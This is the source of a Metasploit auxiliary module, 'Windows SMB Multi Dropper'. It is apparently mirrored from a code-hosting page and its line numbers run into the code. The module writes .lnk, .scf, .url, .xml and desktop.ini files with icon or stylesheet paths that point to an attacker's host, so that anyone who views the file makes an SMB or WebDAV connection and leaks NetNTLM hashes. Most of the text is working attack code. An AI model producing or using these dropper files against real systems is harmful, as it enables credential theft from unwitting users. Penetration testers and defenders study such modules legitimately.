Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/fileformat/multidrop.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::FILEFORMAT89def initialize(info={})10super( update_info( info,11'Name' => 'Windows SMB Multi Dropper',12'Description' => %q{13This module dependent on the given filename extension creates either14a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference15to the specified remote host, causing SMB connections to be initiated16from any user that views the file.17},18'License' => MSF_LICENSE,19'Author' =>20[21'Richard Davy - secureyourit.co.uk', #Module written by Richard Davy22'Lnk Creation Code by Mubix', #Lnk Creation Code written by Mubix23'asoto-r7' #Word XML creation code24],25'Platform' => [ 'win' ],26'References' =>27[28['URL', 'https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018'],29['URL', 'https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/'],30['URL', 'https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/'],31]3233))34register_options(35[36OptAddress.new("LHOST", [ true, "Host listening for incoming SMB/WebDAV traffic", nil]),37OptString.new("FILENAME", [ true, "Filename - supports *.lnk, *.scf, *.url, *.xml, desktop.ini", "word.lnk"]),38])39end4041def run42if datastore['FILENAME'].chars.last(3).join=="lnk"43createlnk44elsif datastore['FILENAME'].chars.last(3).join=="scf"45createscf46elsif datastore['FILENAME']=="desktop.ini"47create_desktopini48elsif datastore['FILENAME'].chars.last(3).join=="url"49create_url50elsif datastore['FILENAME'].chars.last(3).join=="xml"51create_xml52else53fail_with(Failure::BadConfig,"Invalid FILENAME option")54end55end5657def createlnk58#Code below taken from module droplnk.rb written by Mubix59lnk = ""60lnk << "\x4c\x00\x00\x00" #Header size61lnk << "\x01\x14\x02\x00\x00\x00\x00\x00" #Link CLSID62lnk << "\xc0\x00\x00\x00\x00\x00\x00\x46"63lnk << "\xdb\x00\x00\x00" #Link flags64lnk << "\x20\x00\x00\x00" #File attributes65lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Creation time66lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Access time67lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Write time68lnk << "\x00\x00\x00\x00" #File size69lnk << "\x00\x00\x00\x00" #Icon index70lnk << "\x01\x00\x00\x00" #Show command71lnk << "\x00\x00" #Hotkey72lnk << "\x00\x00" #Reserved73lnk << "\x00\x00\x00\x00" #Reserved74lnk << "\x00\x00\x00\x00" #Reserved75lnk << "\x7b\x00" #IDListSize76#sIDList77lnk << "\x14\x00\x1f\x50\xe0\x4f\xd0\x20"78lnk << "\xea\x3a\x69\x10\xa2\xd8\x08\x00"79lnk << "\x2b\x30\x30\x9d\x19\x00\x2f"80lnk << "C:\\"81lnk << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"82lnk << "\x00\x00\x00\x4c\x00\x32\x00\x00\x00\x00\x00\x7d\x3f\x5b\x15\x20"83lnk << "\x00"84lnk << "AUTOEXEC.BAT"85lnk << "\x00\x00\x30\x00\x03\x00\x04\x00\xef\xbe\x7d\x3f\x5b\x15\x7d\x3f"86lnk << "\x5b\x15\x14\x00\x00\x00"87lnk << Rex::Text.to_unicode("AUTOEXEC.BAT")88lnk << "\x00\x00\x1c\x00\x00\x00"89#sLinkInfo90lnk << "\x3e\x00\x00\x00\x1c\x00\x00\x00\x01\x00"91lnk << "\x00\x00\x1c\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x3d\x00"92lnk << "\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x3e\x77\xbf\xbc\x10\x00"93lnk << "\x00\x00\x00"94lnk << "C:\\AUTOEXEC.BAT"95lnk << "\x00\x00\x0e\x00"96#RELATIVE_PATH97lnk << Rex::Text.to_unicode(".\\AUTOEXEC.BAT")98lnk << "\x03\x00"99#WORKING_DIR100lnk << Rex::Text.to_unicode("C:\\")101#ICON LOCATION102lnk << "\x1c\x00"103lnk << Rex::Text.to_unicode("\\\\#{datastore['LHOST']}\\icon.ico")104lnk << "\x00\x00\x03\x00\x00\xa0\x58\x00\x00\x00\x00\x00\x00\x00"105lnk << "computer"106lnk << "\x00\x00\x00\x00\x00\x00\x26\x4e\x06\x19\xf2\xa9\x31\x40\x91\xf0"107lnk << "\xab\x9f\xb6\xb1\x6c\x84\x22\x03\x57\x01\x5e\x1d\xe1\x11\xb9\x48"108lnk << "\x08\x00\x27\x6f\xe3\x1f\x26\x4e\x06\x19\xf2\xa9\x31\x40\x91\xf0"109lnk << "\xab\x9f\xb6\xb1\x6c\x84\x22\x03\x57\x01\x5e\x1d\xe1\x11\xb9\x48"110lnk << "\x08\x00\x27\x6f\xe3\x1f\x00\x00\x00\x00"111112file_create(lnk)113end114115def createscf116scf=""117scf << "[Shell]\n"118scf << "Command=2\n"119scf << "IconFile=\\\\#{datastore['LHOST']}\\test.ico\n"120scf << "[Taskbar]\n"121scf << "Command=ToggleDesktop"122123file_create(scf)124end125126def create_desktopini127ini=""128ini << "[.ShellClassInfo]\n"129ini << "IconFile=\\\\#{datastore['LHOST']}\\icon.ico\n"130ini << "IconIndex=1337"131132file_create(ini)133end134135def create_url136url=""137url << "[InternetShortcut]\n"138url << "URL=file://#{datastore['LHOST']}/url.html\n"139url << "IconFile=\\\\#{datastore['LHOST']}\\icon.ico\n"140141file_create(url)142end143144def create_xml145xml=""146xml << "<?xml version='1.0' encoding='utf-8' ?>"147xml << "<?mso-application progid='Word.Document'?>"148xml << "<?xml-stylesheet type='text/xsl' href='file://#{datastore['LHOST']}/share/word.xsl'?>"149xml << "<Text>"150xml << " FATAL ERROR: The document failed to render properly."151xml << "</Text>"152153file_create(xml)154end155156end157158159